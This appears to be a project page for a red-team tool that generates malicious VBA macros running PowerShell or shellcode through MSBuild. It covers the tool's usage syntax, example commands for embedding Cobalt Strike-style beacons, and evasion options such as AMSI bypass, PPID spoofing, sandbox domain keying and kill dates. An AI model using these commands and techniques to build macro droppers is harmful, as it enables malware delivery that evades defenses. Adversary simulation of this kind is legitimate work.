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Aug 4, 2019

Malicious Macro MSBuild Generator v2.1

Description

Generates Malicious Macro and Execute Powershell or Shellcode via MSBuild Application Whitelisting Bypass, this tool intended for adversary simulation and red teaming purpose.

Disclaimer

MaliciousMacroMSBuild should be used for authorized red teaming and/or nonprofit educational purposes only. Any misuse of this software will not be the responsibility of the author or of any other collaborator. Use it at your own networks and/or with the network owner's permission.

Changelog

Version 2.1
-----------
+ Added sandbox evasion technique using environmental keying domain checking
+ Added Kill Date format dd/mm/yyyy [28/02/2018]
+ Move payload from public user to current user download folder

Version 2.0
-----------
+ Added Option Macro AMSI Bypass (Thanks to outflank team)
+ Added PPID Spoofing {9BA05972-F6A8-11CF-A442-00A0C90A8F39}
+ Added functionality auto removed csproj payload after execution
+ Added custom msbuild option

Usage

 /$$      /$$  /$$$$$$   /$$$$$$ 
| $$$    /$$$ /$$__  $$ /$$__  $$
| $$$$  /$$$$|__/  \ $$| $$  \__/
| $$ $$/$$ $$   /$$$$$/| $$ /$$$$
| $$  $$$| $$  |___  $$| $$|_  $$
| $$\  $ | $$ /$$  \ $$| $$  \ $$
| $$ \/  | $$|  $$$$$$/|  $$$$$$/
|__/     |__/ \______/  \______/ 

Malicious Macro MSBuild Generator v2.1
Author : Rahmat Nurfauzi (@infosecn1nja)
   
usage: m3-gen.py [-h] -i INPUTFILE -p PAYLOAD -o OUTPUT [-a] [-d DOMAIN]
                 [-k KILL_DATE]

optional arguments:
  -h, --help            show this help message and exit
  -i INPUTFILE, --inputfile INPUTFILE
                        Input file you want to embed into the macro
  -p PAYLOAD, --payload PAYLOAD
                        Choose a payload for powershell, raw shellcode or custom
  -o OUTPUT, --output OUTPUT
                        Output filename for the macro
  -a, --amsi_bypass     Macro AMSI Bypass Execute via ms office trusted location
  -d DOMAIN, --domain DOMAIN
                         Sandbox evasion technique using environmental keying domain checking. Use comma separating to set multiple domains
  -k KILL_DATE, --kill_date KILL_DATE
                        Set kill date format dd/MM/yyyy the payload do not run on or after this day

Examples

  • Choose a payload you want to test like shellcode or powershell, the shellcode support stageless and staged payload
  • Generate a raw shellcode in whatever framework you want (Cobalt Strike, Empire, PoshC2)

Creation of a Shellcode MSBuild VBA Macro

python m3-gen.py -p shellcode -i /path/beacon.bin -o output.vba

Creation of a PowerShell MSBuild VBA Macro

python m3-gen.py -p powershell -i /path/payload.ps1 -o output.vba

Creation of a Custom MSBuild VBA Macro

python m3-gen.py -p custom -i /path/msbuild.xml -o output.vba

Creation of a Shellcode MSBuild VBA Macro With Kill Date

python m3-gen.py -p shellcode -i /path/beacon.bin -o output.vba -k 20/03/2018

Creation of a Shellcode MSBuild VBA Macro With Environmental Keying

  • python m3-gen.py -p shellcode -i /path/beacon.bin -o output.vba -d yourdomain
  • python m3-gen.py -p shellcode -i /path/beacon.bin -o output.vba -d yourdomain, microsoft, github

Links

Author and Credits

Author : Rahmat Nurfauzi - @infosecn1nja
Credits : @subTee - For discovering msbuild technique

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Generates Malicious Macro and Execute Powershell or Shellcode via MSBuild Application Whitelisting Bypass.

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